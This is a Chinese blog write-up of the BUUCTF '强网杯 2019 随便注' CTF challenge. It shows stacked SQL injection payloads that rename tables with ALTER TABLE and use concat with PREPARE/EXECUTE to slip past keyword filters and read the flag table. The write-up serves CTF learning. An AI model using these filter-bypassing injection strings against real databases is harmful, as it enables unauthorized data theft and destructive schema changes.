BUUCTF-[强网杯 2019]随便注 记录

2020-10-19  本文已影响0人  低调求发展

[强网杯 2019]随便注

进入该界面

正常步骤注入:

存在注入,order by 看看几个字段,3返回错误,说明两个字段。

union select联合查询,发现过滤了select这些关键字

这时候想到堆叠注入,试一下

可以看到列出了数据库,说明存在堆叠注入。

然后显示表看看

存在两张表,分别查看下字段。

可以看到1919810931114514中有我们想要的flag字段,但只有再words表里面会回显数据

内部查询语句类似 : select id, data from word where id =

这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字

这时候我们就可以已下面的骚姿势进行注入:

1.将words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列,列名为id

4.将flag列改名为data

构造payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后使用1' or 1=1#进行查看。

方法二:直接使用预处理查看数据

1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hi from @a;execute hi;# 但strstr过滤了set和prepare

改成大写:

1';Set @a=concat("sel","ect flag from `1919810931114514`");Prepare hi from @a;execute hi;#

预处理:

PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用

EXECUTE :执行命令

DEALLOCATE PREPARE:释放命令

示例:set @a=concat("sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()");

prepare dump from @a;

 execute dump;

上一篇 下一篇

猜你喜欢

热点阅读